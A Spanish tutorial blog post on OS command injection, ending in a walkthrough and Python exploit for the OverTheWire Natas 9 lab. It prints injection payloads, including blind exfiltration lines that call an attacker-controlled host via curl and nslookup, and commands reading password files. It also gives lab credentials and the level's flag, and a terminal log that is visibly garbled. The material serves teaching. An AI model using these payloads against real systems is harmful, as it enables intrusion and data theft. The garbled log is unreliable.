OS Command Injection (Natas 9)

OS Command Injection

Descripción de la vulnerabilidad

OS Command Injection es un tipo de vulnerabilidad web que permite a un atacante la ejecución de comandos de sistema operativo en el servidor web en el que está siendo servida la aplicación web afectada. Esta vulnerabilidad pertenece a la categoría Injection (A1:2017-Injection) del Owasp Top 10 2017.

¿Cuándo y por qué se produce?

Tiene lugar cuando una aplicación web utiliza directamente la entrada de datos, sin realizar ningún tipo de validación o al menos no una validación correcta, para construir y ejecutar un comando de sistema.

A continuación se muestra un ejemplo de una aplicación web vulnerable que permite la consulta de máquinas activas. Para ello, realiza una llamada al comando de sistema ping y devuelve la salida.


No se realiza ningún tipo de validadción de la entrada, por lo que un atacante será capaz de inyectar comandos en el sistema operativo sobre el que está siendo ejecutada la aplicación web:


Impacto

La explotación satisfactoria permite a un atacante la ejecución de comandos en el sistema operativo en el que está alojada la aplicación web afectada. Los comandos inyectados serán ejecutados con el nivel de privilegios con el que esté siendo ejecutado el servidor web. Aun así, un atacante puede llegar a comprometer de manera completa el sistema realizando una escalada de privielgios.

Solución

  • No hacer nunca llamadas a comandos del sistema operativo directamente desde el aplicativo web. En su lugar, utilizar librerías o APIs que implementen la acción de sistema que se desea realizar.
  • Si es estrictamente necesaria la llamada a comandos del sistema operativo a partir de datos proporcionados por el usuario:
    • Validar el input contra un lista blanca de tipos de datos y valores permitidos.
      • Respecto al comando a ejectuar, validarlo contra una lista blanca de comandos permitidos.
      • Respecto a los argumentos del comando, validarlos contra una lista blanca o, si no es  posible, a través de expresiones regulares que solo permitan ciertos carácteres, excluyendo así los metacaracteres que hacen posible la inyección de comandos de sistema.
  • Si es posible, siempre utilizar listas blancas en vez de listas negras. Un atacante con las suficientes skills puede llegar a encontrar una forma alternativa de inyectar un comando bypasseando los valores de la lista negra.
  • Aplicar puntos de defensa en profundidad como que la aplicación web se ejecute con el mínimo de privilegios posibles y en el contexto de un usuario aislado para esa tarea.

Detección y explotación

Maneras de inyectar comandos de sistema

 Existen diferentes operadores/metacaracteres que nos permiten inyectar un comando:
  • ; [comando iny.] ; : ejecutará nuestro comando tras finalizar la ejecución del anterior
  • && [comando iny.] ; : ejecutará nuestro comando si el anterior se ha ejecutado con éxito
  • || [comando iny.] ; : ejecutará nuestro comando si el anterior no se ha ejecutado con éxito
  • & [comando iny.] ; : ejecutará nuestro comando sin esperar a la finalización del anterior
  • $([comando iny.]) ; : ejecutará nuestro comando en una subshell e incluirá el resultado en el comando original
Como se puede observar, una vez inyectado el comando, es aconsejable cerrar con otro operador o metacaracter para asegurarnos de que la ejecución del comando inyectado sea sintácticamente correcta y tenga éxito. Se ha utilizado ";", pero puede utilizarse otro cualquiera.

Nota: Los operadores arriba indicados corresponden a sistemas Linux. Algunos de ellos también funcionan en sistemas Windows. Existen muchos más operadores que nos permitirán la concatenación e inyección de comandos. En algunos casos existirán restricciones por parte del servidor, como validaciones mediante filtros, que no nos permitan utilizar algunos de ellos. Será tarea nuestra utilizar el ingenio para encontrar algún operador que nos permita bypassear dichas restricciones y conseguir inyectar comandos del sistema con éxito.

Detección y comandos útiles

Suponiendo que estamos en una aproximación de caja negra en la que no tenemos acceso al código fuente, la detección la realizaremos observando la respuesta HTTP tras inyectar el comando. El comando a inyectar dependerá del sistema operativo. Debemos tener en cuenta que tenemos que utilizar comandos para los cuales el usuario sobre el que corre el servidor tenga permisos. Comandos típicos son:
  • whoami
  • ifconfig / ipconfig
  • netstat
  • ps aux / tasklist
  • ...
Nota: En una aproximación de caja blanca con acceso al código fuente, podremos hacer uso de búsquedas mediante expresiones regulares que nos permitan localizar áreas en el código en las que se estén invocando funciones que realicen llamadas al sistema operativo de manera insegura para poder analizarlas.

Blind OS Command Injection

Como en muchas vulnerabilidades, puede que o bien la aplicación muestre el resultado de la inyección en la respuesta HTTP (como en este caso de ejemplo) o que la salida no muestre nada aunque el comando se haya inyectado con éxito. En este último caso, estaremos ante una vulnerabilidad de tipo Blind o ciega.

En el tipo Blind, tanto para la detección como para la obtención de la salida del comando, las técnicas utilizadas serán diferentes, aunque la manera de inyección mediante metacaracteres u operadores de sistema será la misma que en el caso en el que sí se muestra la salida del comando inyectado.

Como en otro tipo de vulnerabilidades Blind, una buena manera de detectarlas es generar un delay de tiempo que nos permita confirmar que el comando se ha ejecutado observando el tiempo de respuesta de la aplicación web (time-based technique). De esta manera, inyectaremos un comando que active un delay; si la respuesta del servidor se demora, significará que se ha inyectado con éxito y que es vulnerable.

El comando ping, y sleep en caso de Linux, nos puede servir para esto:
  • ; ping -c 10 miVPS.com ;
  • ; sleep 10 ;
Otra posibilidad es generar tráfico hacia una máquina bajo nuestro control (aunque esto dependerá de factores externos como la conectividad de la máquina afectada), ya sea mediante una petición http, resolución DNS o envío de paquetes ICMP:
  • ; curl http://miVPS.com ;
  • ; nslookup test.miDNSserver.com ;
  • ; ping -c 3 miVPS.com ;
La exfiltración del resultado la podremos realizar también de muchas maneras:
  • Redirigiendo la salida a un fichero accesible desde el servidor web:
    • ; whoami > /var/www/htlm/output.txt ;
  • Exfiltración DNS
    • ; nslookup $(whoami | base64 -n).miDNSserver.com ;

Ejemplo de explotación

A continuación realizaremos la explotación sobre una aplicación web vulnerable a OS Command Injection.

Natas 9: Enunciado

Al acceder al nivel, se nos muestra lo siguiente:


Nos permite buscar aquellas palabras que contengan lo que introduzcamos en el formulario:


A simple vista, puede que se esté realizando algún tipo de consulta sobre una base de datos o algo similar, por lo que podríamos utilizar algún payload de SQLi. En una aproximación de caja negra haríamos fuzzing sobre el parámetro. Pero en este caso, ya que disponemos del código fuente, vamos a visualizarlo.

Análisis del código fuente

 1
 2
 3 
 4
 5
 6
 7
 8
 9
10
11
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

Como podemos observar, no se está realizando una consulta contra una base de datos, sino que a partir del valor del parámetro "needle" se está ejecutando un comando en el sistema operativo mediante la función PHP passthru(), el cuál devolverá la salida en bruto del mismo.

En concreto, a partir del valor del parámetro "needle" se está haciendo la búsqueda sobre un fichero del sistema mediante el comando grep. El parámetro de entrada del formulario web se está concatenando directamente al comando del sistema sin realizar ningún tipo de validación, por lo que es vulnerable a OS Command Injection.

Explotación

Antes de obtener la flag del siguiente nivel, verificamos que es vulnerable. Inyectaremos un comando que nos muestre la configuración de las interfaces de red del sistema. Para la construcción del payload y entender qué está pasando, analizaremos cómo está construido el comando original:

grep -i $key dictionary.txt

En la variable $key, es donde será insertado el parámetro de entrada. De esta manera, el payload será el siguiente:

;ifconfig;

Así, el comando resultante ejecutado por el sistema será:

grep -i ;ifconfig; dictionary.txt

La URL con el payload será la siguiente:

http://natas9.natas.labs.overthewire.org/?needle=%3Bifconfig%3B&submit=Search

Realizamos la petición y el comando es inyectado con éxito mostrando su salida en la respuesta HTTP:


Ejemplo de explotación Blind

A modo de ejemplo, supondremos que la salida de la respuesta HTTP no devuelve ningún tipo de información que nos permita inferir si el comando ha sido inyectado o no con éxito. En ese caso, estaremos ante un escenario de explotación de tipo Blind.

Para la detección, utilizaremos una de las técnicas explicadas anteriormente para detectar este tipo de vulnerabilidades Blind: time-based technique. Inyectaremos un comando que haga que la respuesta por parte del servidor se demore 5 segundos. En concreto, haremos uso del comando de sistema sleep (Linux). El payload es el siguiente:

;sleep 5;

A partir del payload construiremos la petición GET. La URL final es la siguiente:

http://natas9.natas.labs.overthewire.org/?needle=%3sleep+5%3B&submit=Search

El siguiente paso es realizar una serie de peticiones legítimas al endpoint afectado para ver cuál es su tiempo de respuesta medio. Esto no tiene siempre por qué ser necesario, pero nos ayudará a la hora de optimizar la explotación y disminuir los falsos positivos.

Podemos utilizar diferentes herramientas para calcular el tiempo de respuesta y realizar las peticiones HTTP, en este caso utilizaremos el comando time para medir el tiempo y curl para realizar las peticiones. Realizaremos un bluce de 4 iteraciones, ejecutando curl en modo silencioso (-s) para que no nos muestre la barra de progreso y redirigiendo la salida a /dev/null (> /dev/null) para que no nos muestre la respuesta del servidor, quedándonos únicamente con lo que nos interesa que es el tiempo de ejecución:


Haciendo la media del parámatro "real", que indica el tiempo demorado desde el inicio hasta la finalización de la llamada del proceso, estimamos que la respuesta media del servidor es de 0,175 segundos.

Por último, realizamos la petición GET maliciosa construida anteriormente con el payload que, de ser vulnerable, hará que la respuesta se demore 5 segundos más de lo normal:

root@kali:~# root@kali:~# time (curl -s -u "natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl" "http://natas9.natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null).natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null).natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null).natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null).natas.labs.overthewire.org/?needle=security&submit=Search" > /dev/null).natas.labs.overthewire.org/?needle=ecurity&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=curity&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=urity&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=rity&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=ity&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=ty&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=y&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;s;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sl;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sle;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;slee;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sleep;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sleep+;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sleep+5;&submit=Search" > /dev/null) .natas.labs.overthewire.org/?needle=;sleep+5;&submit=Search" > /dev/null) real0m5.187suser0m0.011ssys0m0.017sroot@kali:~# exit

La respuesta del servidor se demora 5,187 segundos, por lo que podemos concluir que el comando se ha inyectado con éxito, por lo que es vulnerable a OS Command Injection :).

En este punto, un atacante generaría un payload para obtener un reverse shell y procedería con la fase de post-explotación para escalar privilegios en el sistema, obtener toda la información posible y pivotar hacia otras máquinas que le permitan avanzar en el compromiso del objetivo.

Obtención de la flag

En el caso de ejemplo de Natas9, aprovechando que se muestra la salida del comando en la respuesta HTTP y no estamos ante un escernario de explotación de tipo Blind, hay dos posibilidades en lo que respecta a la inyección de comandos para visualizar la flag:
  • Romper la ejecución del grep con cualquiera de los metacaracteres visto anteriormente (";", "||" o "&", etc.) e inyectar un comando para la visualziación, por ejemplo: "cat":
    • El paylaod es el siguiente:
      • ;cat /etc/natas_webpass/natas10;
    • Lo que se interpretará por el sistema como:
      • grep -i ;cat /etc/natas_webpass/natas10; dictionary.txt
    • La ejecución del grep fallará, porque el comando no está bien construido, y se ejecutará nuestro comando.

  • Como tenemos acceso al código y sabemos que se está utiliznado el comando grep, hacer uso del propio grep para visualizar la flag (imaginemos un escenario en el que no podemos utilizar ninguno de los metacaracteres anteriores, o ningún otro comando de sistema). Para ello, grepearemos por carácter vacío el fichero que queramos visualizar, lo que hará que devuelva todo su contenido.
    • El payload es el siguiente:
      • '' /etc/natas_webpass/natas10
    • Lo que se interpretará por el sistema como:
      • grep -i '' /etc/natas_webpass/natas10 dictionary.txt

Exploit code

Por último, como siempre, dejo el código del exploit que automatiza la explotación de la vulnerabilidad y la obtención de la flag.

 1 
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

import requests
import re

# Level config. parameters
user = "natas9"
passwd = "W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl"
url = "http://natas9.natas.labs.overthewire.org/"

# Setting the session var. with the params.
session = requests.Session()
session.auth = (user, passwd)

# OS Command Injection payload and req. param setting
payload = ";cat /etc/natas_webpass/natas10;"
params = {
    "needle": payload,
    "submit": "Submit"
}

# Exploit it :)
response = session.get(url, params=params)

# Get the content
content = (response.content).decode("utf-8")

# Strip the flag
flag = re.findall(r"([a-zA-Z\d]{32})", content)[1]

# Write the flag to a file
f = open("{}.flag".format(user), "w+")
f.write(flag)
f.close()

print("[+] The flag for level {} is {}".format(int(user[-1]) + 1, flag))

root@kali:~/ctf/natas/natas9# python3 natas9.py 
[+] The flag for level 10 is nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Llegamos al final del post. Gracias por llegar hasta aquí, espero que os sirva de ayuda y os haya gustado tanto como a mi redactarlo. Quedaos en casa y recordad... Hack the planet!

Comentarios